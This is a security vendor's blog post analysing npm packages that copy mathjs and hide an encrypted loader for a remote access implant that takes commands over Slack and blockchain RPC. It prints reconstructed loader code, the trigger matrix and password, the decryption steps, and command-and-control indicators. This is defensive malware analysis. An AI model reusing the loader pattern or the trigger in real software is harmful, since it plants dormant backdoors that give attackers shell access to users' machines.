(https://safedep.io/sitemap-index.xml) (../favicon.ico) (../_astro/favicon.B3RG7V2a.svg) (../_astro/favicon.B3RG7V2a.svg) (../_astro/apple-touch-icon.BdYG7kdO.svg) (https://safedep.io/_astro/mona-sans-latin-400-normal.CwTt76Nb.woff2) (https://safedep.io/_astro/inter-tight-latin-400-normal.iW8qmuJY.woff2) (https://safedep.io/_astro/chivo-mono-latin-400-normal.DZ3T-ph7.woff2) Why Does an npm Math Library Need an Encrypted Loader? - Real-time Open Source Software Supply Chain Security (https://safedep.io/mathmain-encrypted-loader) (../_astro/Layout.Vv_WNmNv.css)  (Live Wave Icon) (https://safedep.io/arrayref-proc-macro1-rust-build-time-malware/) New Blog: Malicious Rust Crate arrayref Runs a Build-Time Payload   • (Edit Calendar Icon) 20 Aug 2026     (https://safedep.io/) (SafeDep Logo)     Product    Discover & Monitor  (https://safedep.io/sca) (SCA & SBOM)  SCA & SBOM Scan dependencies, generate SBOMs, enforce policy.   (https://safedep.io/shadow-ai) (AI Agent Discovery)  AI Agent Discovery See every AI tool and SDK in your org.   (https://safedep.io/ai-agent-runtime-security) (AI Agent Monitoring)  AI Agent Monitoring Audit every action your AI agents take.     Protect  (https://safedep.io/developer-security) (Developer Security)  Developer Security Block malicious packages at install-time.   (https://safedep.io/ci-cd-security) (CI/CD Security)  CI/CD Security Block malicious packages in your pipeline.   (https://safedep.io/mcp) (MCP Server)  MCP Server Block threats inside your AI coding agent.   (https://safedep.io/agent) (Agent API)  Agent API Threat intelligence API for custom agents.   (https://safedep.io/threat-intel) (Threat Intelligence)  Threat Intelligence Real-time malicious package verdicts.     Govern  (https://safedep.io/endpoint-protection) (Endpoint Protection)  Endpoint Protection Package events & AI inventory in the cloud.   (https://safedep.io/platform) (Platform)  Platform Centralized policies, dashboard, compliance.     Open Source  (https://github.com/safedep/vet) (Vet)  Vet Scan and govern your dependencies across every PR and build.   (https://github.com/safedep/pmg) (PMG)  PMG Block malicious packages at install-time, before they enter your codebase.   (https://github.com/safedep/xbom) (xbom)  xbom Generate AI-enriched BOMs using real code evidence, not just manifests.   (https://github.com/safedep/gryph) (GRYPH)  GRYPH Monitor every AI coding agent action across your projects and workflows.        (https://safedep.io/pricing) Pricing  (https://safedep.io/how-safedep-works) How it works  (https://safedep.io/blog) Blog  Resources    (https://docs.safedep.io/) Documentation  (https://docs.safedep.io/vet/guides/insights-api-using-typescript) SDK  (https://buf.build/safedep/api) API  (https://safedep.io/ti) Threat Intelligence Hub       (https://app.safedep.io/) Login  (https://app.safedep.io) Start for Free  (https://github.com/safedep) (GitHub)   1.5k         Product    (https://safedep.io/pricing) Pricing  (https://safedep.io/how-safedep-works) How it works  (https://safedep.io/blog) Blog  Resources    (https://docs.safedep.io/) Documentation  (https://docs.safedep.io/vet/guides/insights-api-using-typescript) SDK  (https://buf.build/safedep/api) API  (https://safedep.io/ti) Threat Intelligence Hub        Back  Discover & Monitor  (https://safedep.io/sca) (SCA & SBOM)  SCA & SBOM Scan dependencies, generate SBOMs, enforce policy.   (https://safedep.io/shadow-ai) (AI Agent Discovery)  AI Agent Discovery See every AI tool and SDK in your org.   (https://safedep.io/ai-agent-runtime-security) (AI Agent Monitoring)  AI Agent Monitoring Audit every action your AI agents take.     Protect  (https://safedep.io/developer-security) (Developer Security)  Developer Security Block malicious packages at install-time.   (https://safedep.io/ci-cd-security) (CI/CD Security)  CI/CD Security Block malicious packages in your pipeline.   (https://safedep.io/mcp) (MCP Server)  MCP Server Block threats inside your AI coding agent.   (https://safedep.io/agent) (Agent API)  Agent API Threat intelligence API for custom agents.   (https://safedep.io/threat-intel) (Threat Intelligence)  Threat Intelligence Real-time malicious package verdicts.     Govern  (https://safedep.io/endpoint-protection) (Endpoint Protection)  Endpoint Protection Package events & AI inventory in the cloud.   (https://safedep.io/platform) (Platform)  Platform Centralized policies, dashboard, compliance.     Open Source  (https://github.com/safedep/vet) (Vet)  Vet Scan and govern your dependencies across every PR and build.   (https://github.com/safedep/pmg) (PMG)  PMG Block malicious packages at install-time, before they enter your codebase.   (https://github.com/safedep/xbom) (xbom)  xbom Generate AI-enriched BOMs using real code evidence, not just manifests.   (https://github.com/safedep/gryph) (GRYPH)  GRYPH Monitor every AI coding agent action across your projects and workflows.      (https://app.safedep.io/) Login  (https://app.safedep.io) Start for Free  (https://github.com/safedep) (GitHub)   1.5k            (https://safedep.io/blog)     Back to Blog  (Share on X)    (Share on Facebook)      (Share on LinkedIn)       Why Does an npm Math Library Need an Encrypted Loader?  (https://safedep.io/category/security) Security         SafeDep Team   • Sep 18, 2026  • 11 min read        On this page 11 sections     On this page  (index.html#a-solver-calls-a-type-check) A solver calls a type check  (index.html#the-matrix-data-becomes-a-password) The matrix data becomes a password  (index.html#the-loader-writes-and-runs-the-file) The loader writes and runs the file  (index.html#the-same-loader-appears-in-two-more-packages) The same loader appears in two more packages  (index.html#the-loader-is-not-in-the-github-source) The loader is not in the GitHub source  (index.html#our-first-attempts-did-not-find-the-password) Our first attempts did not find the password  (index.html#cracking-the-encryption) Cracking the encryption  (index.html#payload-analysis) Payload analysis  (index.html#how-the-trigger-reaches-a-victim) How the trigger reaches a victim  (index.html#investigation-timeline) Investigation Timeline  (index.html#indicators-of-compromise) Indicators of compromise      We found a remote access implant hidden inside (https://safedep.io/cdn-cgi/l/email-protection) [email protected]  , an npm package that copies the popular mathjs library. The malicious code ships encrypted. It stays dormant until a program solves a specific equation with the library. That equation is the key. When the key matches, the package decrypts a payload and runs it. The payload takes commands from the attacker and runs them on the host. It uses a public chat service and a blockchain network for its command channel. This post shows how we found the loader, how we decrypted it, what the payload does, and the indicators you can use to find it. We started with a (https://app.safedep.io/community/malysis/01M2Q39B7G9RZSKZ16EZEGBB14) SafeDep analysis of mathmain  on September 17, 2026. The package looked like a copy of mathjs with a different name and obfuscated code. One added call in the solver led us to the loader. A solver calls a type check Near the end of lusolve() , we found an extra call in the CommonJS build. The solver had already calculated its result. It then passed data from the lower triangular matrix to removeSolveValidation() : (../_astro/ec.nb6bh.css)  lib/cjs/function/algebra/solver/lusolve.js  1  // Readable reconstruction: recovered strings and renamed local variables.   2  l  && (q  =  removeSolveValidation (l._data));   3    4  return x;      (Copy to clipboard)      Here, l holds the lower triangular matrix and x holds the result. The solver returns x unchanged. It assigns the extra call’s return value to q , but does not use q again. We followed removeSolveValidation() to isGraph(x) in lib/cjs/utils/is.js . This file contains checks such as isMatrix and isNumber . The added isGraph() function decrypts and loads code: lib/cjs/utils/is.js  1  // Readable reconstruction: recovered strings and renamed local variables.   2  const  STAGE1_BLOB  =  'IapMCmvlemBnFaU+3GZ4oF2xOhnczTlDWTO3oCfrHkWp1lSpHdCaeG0qn2neIoTetyRJtQ==' ;   3    4  function  isGraph ( x ) {   5   const  password  =  JSON . stringify (x);   6   const  name  =  validEvent ( STAGE1_BLOB , password);   7   const  target  = path. join (__dirname, name);   8   const  mod  =  require ( event (target, password));   9    10   return (x  && mod. validGraph (password))  ||  false ;   11  }      (Copy to clipboard)      isGraph() converts its input to a JSON string and uses that string as a password. It first decrypts a filename. It then passes the file path and password to event() , and loads the returned path with require() . We have made the loader snippets easier to read by restoring strings and renaming local variables. The hashes at the end of this post identify the original files. The matrix data becomes a password In lib/cjs/utils/event.js , we found the decryption functions. They use scrypt to turn the password into a key of 256 bits. They then decrypt the data with Advanced Encryption Standard in Galois/Counter Mode (AES-GCM): lib/cjs/utils/event.js  1  // Readable reconstruction: recovered strings and renamed local variables.   2  const  key  = crypto. scryptSync (password, salt,  32 );   3  const  decipher  = crypto. createDecipheriv ( 'aes-256-gcm' , key, iv);   4  decipher. setAuthTag (tag);   5  return Buffer. concat ([decipher. update (ciphertext), decipher. final ()]);      (Copy to clipboard)      The encrypted data has a fixed layout: a salt of 16 bytes, an initialization vector of 12 bytes, and an authentication tag of 16 bytes. The ciphertext follows these fields. The package stores the whole sequence as base64 text. For calls through the solver, the password is JSON.stringify(L._data) . A caller can supply L through the object form of lusolve() . So the caller must pass matrix data that produces the correct password. We found no password stored in the visible loader. The encrypted filename has eight bytes of ciphertext. We suspect it names graph.js , a file beside the loader whose name also takes eight bytes. We could not confirm this because we did not recover the password. The loader writes and runs the file The event() helper decrypts the file, writes the result to disk, and returns the output path: lib/cjs/utils/event.js  1  // Readable reconstruction: recovered strings and renamed local variables.   2  const  plaintext  =  eventEmitter (file, password);   3  const  dir  = path. dirname (path. resolve (file));   4  const  base  = path. basename (file). replace ( / ^ enc_ / ,  '' );   5  const  outPath  = path. join (dir, base);   6  fs. writeFileSync (outPath, plaintext);   7  return outPath;      (Copy to clipboard)      If the filename has no enc_ prefix, the helper overwrites the encrypted file with the decrypted code. The require() call in isGraph() then loads it. That code would run with the same permissions as the Node.js process. Three added files contain base64 data instead of normal JavaScript: Path under lib/cjs/utils/  Size of ciphertext in bytes   graph.js  20,918  fraction.js  9,084  bignumber/type.js  1,179,416     We found no reference to the last two files in the visible loader. The decrypted graph.js loads them as later stages, as the payload section shows. We found no install hooks in the manifest. Importing the package through the path we reviewed does not activate the loader either. The solver must first pass its validation and calculation steps to reach the added call. If the password is wrong, validEvent() fails its authentication check before the helper writes any file. The same loader appears in two more packages We searched the npm registry and found two more packages: mathsbase and math-universe . Across five versions, we found identical loader files, trigger code, solver changes, and two large encrypted files. The encrypted graph.js in (https://safedep.io/cdn-cgi/l/email-protection) [email protected]  differs from the other copies. The shared files connect these releases. They do not tell us who added the loader or whether someone took over a publisher’s account. On September 17, npm served (https://safedep.io/cdn-cgi/l/email-protection) [email protected]  as the default release. That version did not contain this loader. Checking only the default version would have missed the code in 1.0.1 . On September 19, we checked npm’s download counts for all three packages. These totals cover September 12–18, 2026, across all versions of each package. Package Reported downloads   (https://api.npmjs.org/downloads/point/2026-09-12:2026-09-18/mathmain) mathmain   605,157  (https://api.npmjs.org/downloads/point/2026-09-12:2026-09-18/mathsbase) mathsbase   1,923,059  (https://api.npmjs.org/downloads/point/2026-09-12:2026-09-18/math-universe) math-universe   569,730     npm also reported (https://api.npmjs.org/downloads/range/2026-09-17:2026-09-18) zero downloads across the entire registry for September 17 . This makes the earlier zero for mathmain unreliable. The packages have no public dependents. They have almost no traffic on the jsDelivr content network. So the counts do not show real installs. We could not determine what produced the volume. These counts do not tell us how many systems installed the packages or whether the encrypted code ran. The loader is not in the GitHub source The mathsbase and math-universe packages each link to a public GitHub repository. We read both. Neither repository holds the loader: Repository Reviewed commit   github[.]com/tinystar8/mathsbase  560d97e66140dbf817e04284a7a0c58757d1202e   github[.]com/mathubio/math-universe  da99dd46501c75ba6102a51ef60ebb922174da32      The public math-universe source ends its solver like this:  1  // mathubio/math-universe, commit da99dd46501c75ba6102a51ef60ebb922174da32   2  // src/function/algebra/solver/lusolve.js; original source excerpt.   3  if (q) {   4    x._data  =  csIpvec (q, x._data);   5  }   6    7  return x;      (Copy to clipboard)      The extra removeSolveValidation() call is not there. The npm build has it. The GitHub source does not. So someone added the loader when they published the package, not in the public code. We also looked for a program that calls the solver with the trigger. We searched GitHub code, lockfiles, and dependency services. We found none. Private projects, and code that search engines miss, stay out of reach. Our first attempts did not find the password We tested 16,922 possible passwords against the encrypted filename. Some came from matrices with zero diagonal entries, which our earlier search had left out. In a second search, we tested 533 possible passwords against all five distinct encrypted blobs, including the older graph.js . We tried common passwords and numeric arrays from the solver’s tests. Neither search found a password that passed the authentication check. Some passwords appeared in both searches. We checked the tools with test data and known passwords. The searches finished. None of our guesses worked. The password was not a common value or a test matrix. It was one specific matrix that we found later. Cracking the encryption The password is the JSON form of a matrix lower factor L . JFrog first (https://research.jfrog.com/post/equation-of-compromise/) reported the input that produces it. We then reproduced the result against the mathmain files. The recovered trigger is a 3 by 3 Pascal matrix.  1  A = [[1, 1, 1],   2    [1, 2, 3],   3    [1, 3, 6]]      (Copy to clipboard)      A caller passes A to lusolve() . The solver runs an LU decomposition of A . The lower triangular factor L becomes [[1, 0, 0], [1, 1, 0], [1, 0.5, 1]] . The loader turns L into a JSON string. That string is the password. We confirmed this against the real files. The password is the JSON form of L .  1  // SafeDep reproduction against (https://safedep.io/cdn-cgi/l/email-protection) [email protected] .   2  const  A  = [   3    [ 1 ,  1 ,  1 ],   4    [ 1 ,  2 ,  3 ],   5    [ 1 ,  3 ,  6 ],   6  ];   7  const  L  =  lup ( A ). L . valueOf ();  // [[1,0,0],[1,1,0],[1,0.5,1]]   8  const  password  =  JSON . stringify ( L );  // '[[1,0,0],[1,1,0],[1,0.5,1]]'   9    10  const  blob  = Buffer. from ( STAGE1_BLOB ,  'base64' );   11  const  key  = crypto. scryptSync (password, blob. subarray ( 0 ,  16 ),  32 );   12  const  d  = crypto. createDecipheriv ( 'aes-256-gcm' , key, blob. subarray ( 16 ,  28 ));   13  d. setAuthTag (blob. subarray ( 28 ,  44 ));   14  const  name  = Buffer. concat ([d. update (blob. subarray ( 44 )), d. final ()]). toString ();   15  // name === 'graph.js'      (Copy to clipboard)      The password decrypted the filename to graph.js . It also decrypted the three payload files in mathmain and in math-universe . The mathmain payload matches the math-universe payload byte for byte. (https://safedep.io/cdn-cgi/l/email-protection) [email protected]  uses the same password with different encrypted data. So the same password unlocks the whole family. Payload analysis The decrypted files form a small remote access implant. Each file has one job. The findings below come from our own static review of the decrypted code. The decrypted graph.js is the first stage. The loader runs it with require() after decryption. It reads host data with os and fs . It generates an X25519 key pair with the Node crypto module through generateKeyPairSync and diffieHellman . It runs shell commands with child_process through spawn and execSync . It reads a smart contract on the Base Sepolia test network with a bundled copy of ethers . It reports to Slack chat.postMessage and to api.telegram.org . It then loads bignumber/type.js and fraction.js as later stages. The network details sit in the file as base64 text.  1  # Decoded constants from decrypted graph.js ((https://safedep.io/cdn-cgi/l/email-protection) [email protected] ).   2  Base Sepolia contract   0xac0bfC4C48A679b667732128278EACBA1c191894   3  RPC (Infura)            base-sepolia.infura[.]io/v3/dc7257d09fab42eca2c354c32fec1938   4  RPC (Alchemy)           base-sepolia.g.alchemy[.]com/v2/D2-TbkB2m05WXSnSDOCDI   5  Telegram bot            8961878831:AAG4... (secret redacted)   6  Slack bot               xoxb-11307403103236-11289767127959-... (secret redacted)      (Copy to clipboard)      The decrypted bignumber/type.js is a copy of the ethers library. The file carries the marker ethers/5.7.2 and the JsonRpcProvider and secp256k1 symbols. The implant uses this library to read the smart contract. The decrypted fraction.js is the command agent. It decrypts a Slack bot token and a channel id at run time. It needs a CHAT_PASSWORD value from the environment. Without that value, the agent exits. It polls the Slack conversations.history endpoint every 10 seconds. It checks whether a message comes from the operator. It then runs the message content as a shell command with execSync or spawn . The package does not store the operator’s commands. The agent reads them from Slack at run time. So the live commands stay off the registry and out of our copy. Together, these files let an operator run shell commands on any host that triggers the loader. The commands travel over a public chat service and a blockchain test network. The package is a remote access implant. How the trigger reaches a victim The loader stays inert until a caller runs the solver with an input that produces the factor L . A normal import does not reach the added code. A normal lusolve() call with other data fails the authentication check and writes nothing. The password is the JSON form of L , so the Pascal matrix is not the only trigger. A caller can pass L as the coefficient matrix, because its own lower factor is L again. A caller can also supply L through the object form of lusolve() . Both inputs give the same password. The attack works in two parts. One package holds the encrypted payload. A second package, or a compromised caller, runs the solver with the trigger matrix. The math library looks like a popular, trusted dependency. The caller supplies the key. We did not find that caller in public code. Our GitHub and dependency searches returned no project that calls the solver with the trigger. Private code and removed projects stay outside that search. Investigation Timeline All times are in Coordinated Universal Time (UTC). We took publication times from the npm registry metadata. Date and time Event   August 26, 2026, 08:14 (https://safedep.io/cdn-cgi/l/email-protection) [email protected]  published. No matching loader found.  August 27, 2026, 07:44 (https://safedep.io/cdn-cgi/l/email-protection) [email protected]  published with the loader and encrypted files.  September 15, 2026, 03:38 (https://safedep.io/cdn-cgi/l/email-protection) [email protected]  published without the matching loader.  September 16, 2026, 12:06 (https://safedep.io/cdn-cgi/l/email-protection) [email protected]  published with the loader.  September 16, 2026, 13:39 (https://safedep.io/cdn-cgi/l/email-protection) [email protected]  published with the loader.  September 16, 2026, 14:14 (https://safedep.io/cdn-cgi/l/email-protection) [email protected]  published with the loader, after 1.0.2 .  September 17, 2026, 06:53 (https://safedep.io/cdn-cgi/l/email-protection) [email protected]  published with matching files.  September 17, 2026 Source review, consumer searches, and further decryption attempts completed. No plaintext recovered.  September 19, 2026 npm reported 605,157 downloads of mathmain for September 18.  September 21, 2026 JFrog published its analysis. It recovered the trigger matrix.  September 21, 2026 SafeDep reproduced the decryption and read the mathmain payload.     Indicators of compromise Use these indicators to find the packages, the loader, and the decrypted implant. A match on a package or a hash does not prove the code ran on a host. A caller must first trigger the loader. Malicious packages SafeDep analyzed the loader in these versions. The archive SHA-256 comes from the npm tarball. npm package version Archive SHA-256   (https://safedep.io/cdn-cgi/l/email-protection) [email protected]   1723a0df210ac61281a504f3a07ec3605d20151631e0635cc344cacc71019135   (https://safedep.io/cdn-cgi/l/email-protection) [email protected]   03e13cdedd9c33e6fed25092b1ec7dcf11cc5962c0fbb6b3e90ba95bfec1b034   (https://safedep.io/cdn-cgi/l/email-protection) [email protected]   7e5e1bcdc6a7b0e3437269a236b49ef2be4f77081c7de5130d503c103fd6be69   (https://safedep.io/cdn-cgi/l/email-protection) [email protected]   bfe772e7ee044fd6f0bdf53e83f44aad7c9ee1925baf0cf4d884a312aa9ba50e   (https://safedep.io/cdn-cgi/l/email-protection) [email protected]   4eb1d59df7dc80dbe3ec154481e61e8824422037092c188f0cc146b543615a66      The trigger and the password A caller activates the loader with one matrix. The password is the JSON form of that matrix LU lower factor. Item Value   Trigger matrix [[1,1,1],[1,2,3],[1,3,6]]   Password [[1,0,0],[1,1,0],[1,0.5,1]]   Stage-1 blob IapMCmvlemBnFaU+3GZ4oF2xOhnczTlDWTO3oCfrHkWp1lSpHdCaeG0qn2neIoTetyRJtQ==      Loader files These two file hashes match across all analyzed versions. File SHA-256   lib/cjs/utils/event.js  ab66c98e8ed5235feb963ec8845765f62f5f26b1c58c266c409767e53bcb5ccd   lib/cjs/utils/is.js  5d9e952c51875d2b897eedc22b002b94ab21c8004d513bc99ce3a885f8a01dae      Encrypted payload files The base64 blobs sit under lib/cjs/utils/ . (https://safedep.io/cdn-cgi/l/email-protection) [email protected]  and the three math-universe versions share one set. (https://safedep.io/cdn-cgi/l/email-protection) [email protected]  ships a different graph.js blob. File SHA-256 Deployment   graph.js  ed9b078594393d09d91ee008366ca75e3017cca18c79af99c5b294c61db67f06  A  fraction.js  09773ee7db70216b778b15cfcd94cb1df8963eddd4a47b801c96f986651699e6  A  bignumber/type.js  ca4fe552da461fec5b51d5964d979699f06888499be442f209125853dff3e0e1  A  graph.js  0aa46d32e4b479cc09f97cc66a1f12ca96b0497a7eb6ffc6b46ed3ef80e3c83b  B     Decrypted payload files These hashes cover the plaintext we recovered from Deployment A. A host where the loader ran may hold files with these hashes on disk. File SHA-256   graph.js  1e0f09c84aaf573627c003ce0f086517c3ea980cbea02f8ff918b1cc0d7e0bbb   fraction.js  6fd655d7196880fc5783f9dbb62b428baf220c2781970be54044376330be7af3   bignumber/type.js  6b1ad71bc3765dd272ea2ac63c1ea6ed97091ba0067d0b3e2294e1b34177cb25      Command and control We recovered these endpoints from the decrypted graph.js files. Deployment A covers mathmain and math-universe . Deployment B covers (https://safedep.io/cdn-cgi/l/email-protection) [email protected]  . We redact the secret half of the two bot tokens. Deployment Type Value   A Smart contract 0xac0bfC4C48A679b667732128278EACBA1c191894 (Base Sepolia)  A RPC (Infura) base-sepolia.infura[.]io/v3/dc7257d09fab42eca2c354c32fec1938   A RPC (Alchemy) base-sepolia.g.alchemy[.]com/v2/D2-TbkB2m05WXSnSDOCDI   A Telegram bot 8961878831 (token redacted)  A Slack bot xoxb-11307403103236-11289767127959-... (secret redacted)  B Smart contract 0xE390863Dac96a7118C71227C2b099B50cF602D31 (Ethereum Sepolia)  B RPC (Alchemy) eth-sepolia.g.alchemy[.]com/v2/D2-TbkB2m05WXSnSDOCDI   B Slack bot xoxb-11307403103236-11289767127959-... (secret redacted)     Both deployments use the same Alchemy project key D2-TbkB2m05WXSnSDOCDI . This key ties the two deployments to one operator.   npm  supply-chain  package-analysis        Author (SafeDep Logo)  SafeDep Team  safedep.io     Share (Share on X)    (Share on Facebook)    (Share on LinkedIn)          The Latest from SafeDep blogs   Follow for the latest updates and insights on open source security & engineering   (https://safedep.io/openai-agents-rubygems-attack) (OpenAI Agents Turned RubyGems Into a Scraping Proxy)   (https://safedep.io/category/security) Security  (https://safedep.io/category/ai) AI    (https://safedep.io/openai-agents-rubygems-attack) OpenAI Agents Turned RubyGems Into a Scraping Proxy    Between May and July 2026, a swarm of AI agents published over 3,000 packages to RubyGems. The gems abused RubyDoc.info documentation builds to run a crawler on someone else's servers, then shipped...    Vignesh Naikoti         Sep 18, 2026      (https://safedep.io/deep-live-cam-supply-chain-attack) (Deep-Live-Cam Supply Chain Attack: Technical Analysis)   (https://safedep.io/category/malware) Malware    (https://safedep.io/deep-live-cam-supply-chain-attack) Deep-Live-Cam Supply Chain Attack: Technical Analysis    A malicious dependency in Deep-Live-Cam loads a clipboard hijacker. We trace the installation trigger, Telegraph delivery, and Windows and macOS persistence.    SafeDep Team     Sep 9, 2026       (https://safedep.io/cursor-extension-import-versions) (The Agentic IDE Extension Blind Spot)   (https://safedep.io/category/security) Security  (https://safedep.io/category/ai) AI    (https://safedep.io/cursor-extension-import-versions) The Agentic IDE Extension Blind Spot    Cursor can install most of the same extensions you had in Visual Studio Code, but not the same versions. Its Import VS Code Configuration step sends only the extension name, never the version. It...    Vignesh Naikoti     Sep 11, 2026      (https://safedep.io/introducing-safedep-threat-intel) (Introducing SafeDep Threat Intel)   (https://safedep.io/category/announcements) Announcements  (https://safedep.io/category/security) Security    (https://safedep.io/introducing-safedep-threat-intel) Introducing SafeDep Threat Intel    SafeDep Threat Intel gives SOC and cyber defense teams the malicious package intelligence behind SafeDep's platform, to query or to push into the tools they already run.    (https://www.linkedin.com/in/kunalsin9h/) Kunal Singh      Sep 8, 2026        (https://safedep.io/blog) View All Blogs      (Background)   (SafeDep Logo)    Ship Code.  Not Malware.   Start free with open source tools on your machine. Scale to a unified platform for your organization.  (https://github.com/safedep/pmg) (GitHub) Star on GitHub  (https://safedep.io/book-a-demo) Book a Demo         (https://safedep.io/) (SafeDep Logo)   SafeDep   (https://safedep.io/terms) Terms · (https://safedep.io/privacy) Privacy Policy · (index.html#cookie-preferences) Cookie Preferences  (https://safedep.trust.site/) (SOC 2 Type II Certified)   (https://safedep.trust.site/) (ISO 27001:2013 Certified)     (https://safedep.trust.site/) (SOC 2 Type II Certified)   (https://safedep.trust.site/) (ISO 27001:2013 Certified)      (https://safedep.trust.site/) (SOC 2 Type II Certified)   (https://safedep.trust.site/) (ISO 27001:2013 Certified)      Product (https://safedep.io/#features) Features   (https://safedep.io/pricing) Pricing   (https://safedep.io/how-safedep-works) How it works     Solutions (https://safedep.io/shadow-ai) AI Agent Discovery   (https://safedep.io/ai-agent-runtime-security) AI Agent Monitoring   (https://safedep.io/agent) Threat Intel for Agents   (https://safedep.io/threat-intel) Threat Intel for SecOps   (https://safedep.io/mcp) MCP Server   (https://safedep.io/endpoint-protection) Endpoint Protection   (https://safedep.io/ti) Threat Intel Data Hub   (https://buf.build/safedep/api) Developer API   (https://safedep.io/contact) Partners     Support (https://docs.safedep.io) Docs   (https://github.com/safedep/vet/discussions) Community Forum   (https://safedep.io/faq) FAQ   (https://calendly.com/abhisek-safedep/30min) Professional Services   (https://status.safedep.io) Status     Company (https://safedep.io/about) About   (https://safedep.io/blog) Blog   (https://safedep.io/contact) Contact   (https://safedep-inc.notion.site/Careers-at-SafeDep-11e61d70b23680d7b98dcbdb6c710d55) Careers   (https://github.com/safedep/pmg) GitHub        © 2026 SafeDep, Inc. All rights reserved   (https://discord.gg/kAGEj25dCn)        Join us on Discord  (https://youtube.com/@safedep)         (https://www.linkedin.com/company/safedep/)         (https://x.com/safedepio)       (https://safedep.io/rss.xml)       (https://github.com/safedep/pmg)                We value your privacy  SafeDep keeps analytics anonymous and cookie-free until you
      opt in. Accepting helps us understand product usage and improve your experience. (https://safedep.io/privacy) Privacy Policy  Accept all  Reject all  Preferences    Choose what you share. You can change this anytime from the footer.  Essential Always on  Remembers your cookie choice and keeps the site secure. Cannot be switched off.      Analytics PostHog + Google Analytics. Page views, feature usage and CTA clicks to improve the product.       Save preferences  Back     ()